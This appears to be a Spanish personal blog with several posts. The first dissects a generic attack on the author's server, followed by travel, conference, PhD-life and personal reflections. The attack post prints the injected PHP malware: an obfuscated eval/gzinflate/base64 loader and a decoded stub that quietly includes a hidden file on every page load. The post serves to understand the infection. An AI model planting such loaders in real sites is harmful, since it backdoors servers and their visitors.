Ataque

A menudo se oye hablar de ataques en Internet: de virus, de spam, de denegación de servicio, de suplantación de identidad y de todo tipo de otras maldades, pero las explicaciones suelen ser muy limitadas y es dificil entender como funcionan. Si a eso se le suma la representación que se suele hacer en la mayoría de peliculas y libros, apaga y vamonos. La verdad es que yo tampoco tengo ni idea, pero poco a poco me voy enterando de cosas. Ayer me entretuve analizando un ataque que ha sufrido el servidor en el que está este blog en las últimas semanas. En el fondo, es como resolver un pasatiempos :)

La escena de "hacking" en Skyfall no tiene mucho sentido, pero mola :P

Por supuesto, el ataque no estaba dirigido especificamente a este blog, sino que era completamente genérico. Es decir, el ataque aprovecha una vulnerabilidad e intenta colarse en todos los servidores que puede, incluido este. Aún nadie me odia tanto, creo :D Me di cuenta gracias a que el ataque generaba un error que hacía que la página web no cargara bien. Mirando los ficheros que componen el blog, vi que se había colado un bloque de código extraño al principio de todos y cada uno de los archivos. Para que no se reconozca lo que hace, el agresor lo ha ofuscado de manera que lo único que se ve es una maraña de letras y números:

<?php
$md5 = "73fa9b659f7379af55566498ee62c900";
$a1 = array("e",'_',"a",'c',"b",'i',"d",'g',"f",")","l",'s',"6","4",'z','n','v',

";","r",'(',"$",'o','t');

$b19 = create_function('$'.'v',$a1[0].$a1[16].$a1[2].$a1[10].$a1[19].$a1[7].$a1[14]
.$a1[5].$a1[15].$a1[8].$a1[10].$a1[2].$a1[22].$a1[0].$a1[19].$a1[4].$a1[2]
.$a1[11].$a1[0].$a1[12].$a1[13].$a1[1].$a1[6].$a1[0].$a1[3].$a1[21].$a1[6]
.$a1[0].$a1[19].$a1[20].$a1[16].$a1[9].$a1[9].$a1[9].$a1[17]);

$b19('DZa1rsUItkQ/Z [muchas letras y números] TiqIgCKDUf//z77///t//Aw==');
?>

El código ofuscado es la maraña del final llamada b19. Esa maraña es procesada por lo que hay en create_function, que también está oculto. Esencialmente, en vez de poner lo que hace, lo compone a base de las letras guardadas en a1. Si uno va juntando las letras de a1 en el orden dado en la parte azul, sale eval(gzinflate(base64_decode(b19))). Lo que hace ese código es decodificar la maraña según el estándar base64 y descomprimirlo. Parece que se suele hacer a menudo, ya que hay hasta una página web donde se puede hacer comodamente online. El resultado es el código malicioso en sí:

if(function_exists('ob_start')&&!isset($GLOBALS['mfsn'])) {
    $GLOBALS['mfsn']='/home/sap3pas/public_html/adrovsky/...

                      gallery2/modules/comment/classes/...
                      GalleryStorage/xml-src/3e5.php
';
   
    if(file_exists($GLOBALS['mfsn'])) {
        include_once($GLOBALS['mfsn']);       
        if(function_exists('gml')&&function_exists('dgobh')) {
            ob_start('dgobh');
        }
    }
}

Este código, que se ejecuta cada vez que alguien accede a mi blog, no hace más que iniciar la ejecución del código en el fichero 3e5.php, que estaba perdido en una subcarpeta de la galería de fotos. En concreto, dentro de ese fichero intenta llamar la función dgobh. Los nombres parecen aleatorios, asi que a primera vista no se sabe lo que hace. La pena es que hace unas semanas me di cuenta del fichero 3e5.php y lo borré sin pensarlo dos veces, asi que aquí acaba la pista. No se lo que hacía dgobh, pero puede que diera control al agresor, convertiendo el servidor en lo que se suele llamar un zombi y parte de una botnet.

Una botnet se suele extender por todo Internet

Al haber borrado 3e5.php en principio ya no puede pasar nada, pero no he tenido la paciencia de borrar el primer código ofuscado de todas las páginas del blog, asi que puede que de vez en cuando salte aún algún error. Aunque me gustaría aprovechar este pequeño desastre para actualizar el blog a a Drupal 7, para eso hace falta tiempo, que suele ser escaso. Así que por ahora probablemente siga conviviendo con un blog semi-carcomido por un atauqe fallido :D Es el segundo ataque que sufre 3pas.org del que me haya dado cuenta y en ambos casos ha sido genérico. Es decir, somos parte de la masa aleatoria de víctimas :D

Timeline

Como decía en la entrada anterior, esta semana se han cumplido dos años desde que me cambié de casa y poco más desde que empecé el doctorado. Hace un año también comentaba el aniversario, junto con los recuerdos en forma de entradas, billetes y objetos de todo tipo que había ido guardando en ese tiempo. Hoy he ordenado los papeles de los últimos doce meses, pero esta vez los he compuesto en orden cronológico y en una única imagen. Pasando el ratón sobre determinadas partes de la foto salen comentarios y algunos llevan a entradas relacionadas en el blog. Los detalles se pueden leer en la versión grande, que está aquí (enlace).

Si algo aparece aquí, fue importante, pero si no aparece, no significa que no lo fuera

La sirena

En apenas unas horas se cumplen dos años desde que me mudé a mi piso de Darmstadt. Me cuesta hacerme a la idea de que ya sea tanto tiempo. En esos dos años algunas cosas han ido bien y otras regular, pero algunas de las que más importan no han ido bien. No hay día en el que no piense en como arreglar este desaguisado. Siempre pensaba que no sería tan complicado, pero me he dado cuenta de que no es tan fácil. A veces pienso que debería estar oyendo el incesante sonido de una sirena avisando del peligro. Lo malo es que creo que entre tanto me he acostumbrado a ese ensordecedor estruendo.

"Alarm" por vabserk en DeviantArt

Extremadura

Hasta la semana pasada, no recuerdo haber estado nunca en Extremadura. La A-5 era un misterio para mi más allá de Móstoles. Puse remedio a ello en un viaje con mis padres en el que visitamos Mérida, Cáceres y Trujillo. Apenas estuvimos dos días por la zona, pero nos dio tiempo a ver un montón de cosas. Una vez más me di cuenta de que no hace falta ir al otro lado del mundo para ver sitios espectaculares, ya que lugares así los hay tanto ahí como aquí :) Tengo un mapa con sitios que me gustaría ver, tanto cerca como lejos, aunque lo más probable es que la mayoría nunca los conozca. Es abierto, así que quien quiera puede añadir ideas aquí!

Mérida. Uno pasea por las calles y a la vuelta de la esquina se encuentra cosas así :D

Mérida. Aquel día llovía a ratos, asi que el anfiteatro casi se convirtió en piscina

Mérida. Lo que no esperaba es que de pronto empezara a granizar: hice un video, que se puede ver aquí (enlace). Por suerte pudimos refugiarnos donde antaño supongo que esperaban las fieras para comerse a los gladiadores :P

Mérida. El teatro está a pocos metros del anfiteatro: curiosamente, las filas de asientos estaban cubiertas por una imitación de plástico, supongo que como protección.

Mérida. Tras el teatro hay unos jardines con muchos restos de columnas. No pude evitar pensar en los últimos juegos de Tomb Raider, donde a menudo hay que balancearse por columnas así, pasando de una a otra con saltos de vértigo.

Cáceres. Al día siguiente las nubes habían desaparecido y hacía un Sol esplendido :) El centro de la ciudad es como un único museo, lleno de edificios impresionantes.

Cáceres. En los sotanos de una de las casas había un aljibe, que servía para guardar agua potable de la lluvia.

Cáceres. Las calles del centro son a menudo estrechas y en pendiente. Por la noche, no había ni un alma, haciendo que pareciera aún más un museo.

Trujillo. Me sorprendió que aquí hubieramos podido dejar el coche incluso en la misma plaza principal del pueblo, ya que el tráfico no estaba limitado: parece que aquí todavía no llegan las hordas de turistas!

Trujillo. Varios de los castillos que vimos tenían las torres de defensa fuera de la muralla y conectadas unicamente por una pasarela. Parece que el diseño estaba pensado para poder atacar desde la torre también a los que intentaran escalar los muros.

Oropesa. En el camino de vuelta paramos en Oropesa, cuyas calles estaban llenas de dibujos y versos en las paredes que relataban la historia del lugar.

La parte más agobiante del viaje fue la última media hora. Al llegar a Madrid, en la salida a la M-40 había atasco, así que decidimos ir por la M-30. Es decir, por el túnel. Reconozco que nunca había conducido por ahí, pero nunca pensé que aquello fuera a ser semejante aventura :D Desde luego, fue una experiencia al volante que no esta mal tener, por si acaso tengo que volver por ahí alguna vez! Tras una eternidad por aquel laberinto de enrevesadas bifurcaciones, estrechos túneles en espiral y una intensa densidad de coches, al final logramos emerger al este de la ciudad y llegar sin mayores daños a casa.

Networked Systems

Esta semana he estado en la NetSys 2013, una conferencia de redes en la que he presentado los resultados de mi proyecto fin de carrera. Entre tanto ya han pasado casi dos años desde que lo entregué, pero tenía pendiente publicar los resultados. La conferencia ha sido en Stuttgart, así que no ha sido tan exótico como la de San Francisco, pero al final le he sacado bastante partido, tanto en cuanto a conocer la ciudad como a aprender cosas técnicas nuevas. Ha sido una semana muy intensa, pero en vez de escribir largos párrafos acerca de todo lo que ha pasado, creo que es más fácil poner imágenes y así avanzar de mil en mil palabras :)

La universidad fija un máximo de 30 € por noche para viajes en Alemania, así que en vez de ir a un hotel cutre decidí ir a un albergue moderno. Lo que más me alivió fue que las ventanas eran buenas y no se oía que a 10 metros pasaba el Cercanías :P

Ese mismo Cercanías lleva directamente a la universidad, cuya parada tiene forma de nave espacial :D Está en las afueras de la ciudad, por lo que los edificios se extienden entre parques y lagos, incluyendo las residencias de la universidad: un lujo!

La conferencia era en el edificio de informática, que parece completamente nuevo. Un dato curioso que también vi en el albergue: las ventanas no se pueden abrir, pero a cambio hay paneles sin cristal que sí son móviles. Nunca había visto algo así :D

Aunque no hay grabación de lo que conté en la conferencia, hace algún tiempo hice una presentación no demasiado técnica para un premio que me dieron por el proyecto fin de carrera. Ahora que el trabajo ya está publicado, lo pongo por si hay interés :)

La cena de la conferencia fue un poco surrealista. Nos llevaron al "Meilenwerk", que es un antiguo hangar en el que ahora exponen coches históricos. Sin embargo, insisten en que no son un museo, sino un foro de aficionados al automovilismo.

Por módicos 180 €/mes, los aficionados pueden alquilar una plaza en garajes de cristal. A cambio, les mantienen el coche a la humedad y temperatura adecuada, aparte de ofrecerles todo tipo de servicios, como tratamientos exclusivos para la carrocería.

Y en medio de todos esos coches pusieron las mesas para la cena: sin duda alguna, fue un ambiente distinto :D Sin embargo, todo aquello parecía un invento para que gente a la que le sobra el dinero tenga una manera de gastarlo!


Al mediodía las comidas no eran tan lujosas, ya que casi casi todos los días iba a la Mensa/cafetería de la universidad. El edificio es muy curioso: abajo hay un mostrador con los platos del día y según cual se elija, hay que subir por una escalera distinta :D


El edificio es todo un laberinto en el que se entrecruzan plantas, escaleras y las cintas transportadoras que se llevan las bandejas con los platos sucios.

Una vez hecha mi presentación, aproveché para ver un poco de Stuttgart, incluyendo la flamante biblioteca. Me gustó mucho, ya que aparte de que el edificio es impresionante, todo está diseñado para fomentar que la gente vaya a leer o trabajar ahí.

Por todas partes hay bancos, cojines, mesas, ordenadores, sugerencias de libros, salas de trabajo... Una cosa que me encantó fue la devolución de libros, que es todo un sistema de cintas transportadoras que llevan el libro a la planta correcta :D

Debajo de la sala de la primera imagen está lo que llaman "el corazón" de la biblioteca, un espacio vacío de cuatro plantas de altura. No se lo que representa, pero a mi me recordó a que, a pesar de ser tan pequeño, un libro puede crear todo un universo.

Por la noche, las ventanas de la biblioteca se iluminan de colores, haciendo formas y dibujos. Solo vi azul y blanco, pero no se si hay más colores.

Una de las atracciones de Stuttgart es un funicular que sube desde la ciudad a un monte cercano en el que hay varios cementerios. Parece que se construyó para que la gente pudiera ir con más facilidad a visitar las tumbas, pero yo subí por las vistas :P

Desde arriba no vi mucho, pero el trayecto de subida y bajada mereció la pena :D Dicen que una vez el funicular se rompió en el entierro de un cocinero, ya que el peso de todos sus orondos compañeros de profesión fue demasiado para el vagón.

Siguiendo indicaciones familiares, también visité la Weißenhofsiedlung, una colonia de casas diseñadas por famosos arquitectos a finales de los años 20. Reconozco que no entiendo nada del asunto, pero no me importaría vivir en una casa así :)

Sin embargo, algunos de los inquilinos no parecen apreciarlo mucho: aunque no tengo fotos, algunas casas tenían unos "añadidos decorativos" que las pobres no se merecían :D

Deadline

Tras un fin de semana de trabajo intensivo, al fin he terminado el borrador del trabajo cuya fecha límite es mañana. Ayer por la noche hice las últimas medidas para reducir un intervalo de confianza que había quedado demasiado grande. Ya era casi de noche, por lo que aproveché para grabar en la oscuridad los LEDs parpadeantes de la radio definida por software que utilizamos. En un arrebato de supuesta creatividad, he editado el video y lo he subido. Solo son unos segundos, pero da un poco de ambiente de Euskal para intentar suplir la Guipuzkoa Encounter que ha sido estos días y a la que es imposible apuntarse :D

No olvidar ver en HD, aunque con tan poca luz la imagen es un poco ruidosa

Temeridades

Esta semana ha estado llena de temeridades. En la universidad, me he lanzado a intentar cumplir un montón de fechas límite un tanto optimistas, por lo que me he acercado un poco más a lo que solían decir los profesores de la ETSIT el primer día de una asignatura: "vivo en el despacho tal y cual". Las fotos que he hecho esta semana con el móvil dan fé de ello, ya que todas son del trabajo :D Las pongo comentadas a continuación como resumen de unos días de muchos nervios, mucho cansancio, más de una desesperación y alguna ilusión :) El regreso a Darmstadt tras las tres semanas en Madrid ha sido intenso!

Ya me había malacostumbrado a los 17º C de Madrid: aquí sigue habiendo nieve :(

Los experimentos no funcionan, pero al menos hay luces de colores que parpadean :P

 En el despacho tenemos la cita "no hay camino a la felicidad, la felicidad es el camino"

De noche y con las luces apagadas, los pasillos dan un poco de miedo :D

El viernes vigilé un examen en un aula con piano de cola incluido

Aunque la velocidad esté limitada, mi Samsungggg se conecta a la red 4G!

Rol

No recuerdo cuando fue la última vez que había jugado al rol, pero puede que ya hayan pasado diez años. Esta semana hemos retomado los dados de veinte caras, las hojas de personaje y los infinitos manuales de reglas :) Aunque esta vez hemos elegido "Dungeons & Dragons" en vez de "Das Schwarze Auge", seguimos en un mundo de fantasía con héroes, magia y dragones. En concreto, en la última partida nos hemos quedado a punto de entrar por un pasadizo en una misteriosa cueva. Durante muchos años la cueva había estado oculta, pero una tormenta ha descubierto la entrada... casualmente cuando pasabamos por ahí :P

"Roll a D6" es una parodia de "Like a G6" que me encanta :D

Lo que más me gusta de los juegos de rol es que el único límite es la imaginación, ya que se puede crear cualquier mundo, situación e historia. Al igual que un autor puede crear todo un universo con tan solo un lápiz y un papel, en un juego de rol se juntan varias personas para narrar entre todos una historia única. Reconzco que, al crear mi personaje, casi sin darme cuenta he intentado que fuera en parte parecido a mi, o al menos a la visión que tengo de mi, que por supuesto puede ser muy distinta de la realidad :D Mi personaje es un explorador: le gusta descubrir sitios nuevos y no es ni el más fuerte ni el más hábil, pero intenta defenderse :)

"D20" por patrolski en DeviantArt

La pulsera

Este lunes, la pulsera azul se soltó. Me ha acompañado día y noche a lo largo de tres años, seis meses y catorce días. Ha vivido conmigo toda la doble titulación en Alemania y otro tanto tiempo de doctorado. Ha viajado conmigo desde los gélidos canales de Estocolmo hasta el impresionante Golden Gate de San Francisco. Sabe lo que me ha hecho feliz y lo que me ha entristecido. En sus nudos se acumulan un montón de experiencias. No me la he quitado hasta que el último hilo que la sujetaba se ha roto por desgaste: ni en ocasiones formales, ni para ir a la playa, ni para dormir, ni en ningún otro momento.

La pulsera estaba doblemente atada: tanto la pulsera en sí como el cordel


El último hilo se rompió al ponerme una chaqueta

Hace una semana, como de costumbre mis zapatos pitaron al pasar el control de seguridad del aeropuerto de Frankfurt. El que me investigó con más detalle me preguntó en tono amable por las pulseras y lo que significaban, a lo que conteste que simbolizaban amistad. La pulsera azul, al igual que las otras, fue un regalo que siempre he estado muy contento de llevar, ya que para mi significa que hay otra persona que me considera su amigo :) Y al igual que las pulseras, guardo con mucha ilusión todas las cosas que me han regalado con ese mismo significado, ya sea una postal, una carta, una planta o, como hoy mismo, un oso redondo :)

Aún le estoy buscando un buen nombre :D

El sueño

No suelo recordar lo que sueño, pero cuando me acuerdo, mis sueños a menudo reflejan mis miedos. Hace unas semanas soñé que estaba en una especie de recinto ferial con espacios enormes, muchas plantas y lleno de gente. Muchos eran desconocidos, pero cada poco me encontraba con amigos, ya fueran de Darmstadt o de Madrid. Sin embargo, entre toda esa multitud de personas, la buscaba a ella. Cada vez que me encontraba con alguien le preguntaba: "¿la has visto? ¿sabes donde está?". Y las respuestas eran: "sí, acaba de pasar por aquí y bajaba a la planta de abajo"; "pues creo que se fue por el otro lado"; "subió por ahí" ...

"The crowd", por baharyuksel en DeviantArt

Siguiendo las instrucciones, la encontraba a lo lejos, pero antes de llegar, siempre decía: "me tengo que ir, nos vemos, hasta luego!". Y se me escapaba. Y la volvía a buscar. Y se me volvía a escapar. Una y otra y otra vez, sin parar. "Pues la acabo de ver, debe estar por ese pasillo"; "acaba de irse por esas escaleras"; "debe estar a la vuelta de la esquina"... Se me escapaba como agua entre los dedos de las manos. Desperté aún con la tensión de la búsqueda y el recuerdo de aquel sueño me acompañó durante varios días. Sin duda, fue una manera muy interesante de mi subconsciente para hacerme saber el famoso "she is not that into you".

"Rushing", por norax3 en DeviantArt

Nota: el único objetivo de esta entrada es compartir un sueño realmente curioso. Aunque todo es cierto, no hay nada de lo que preocuparse :)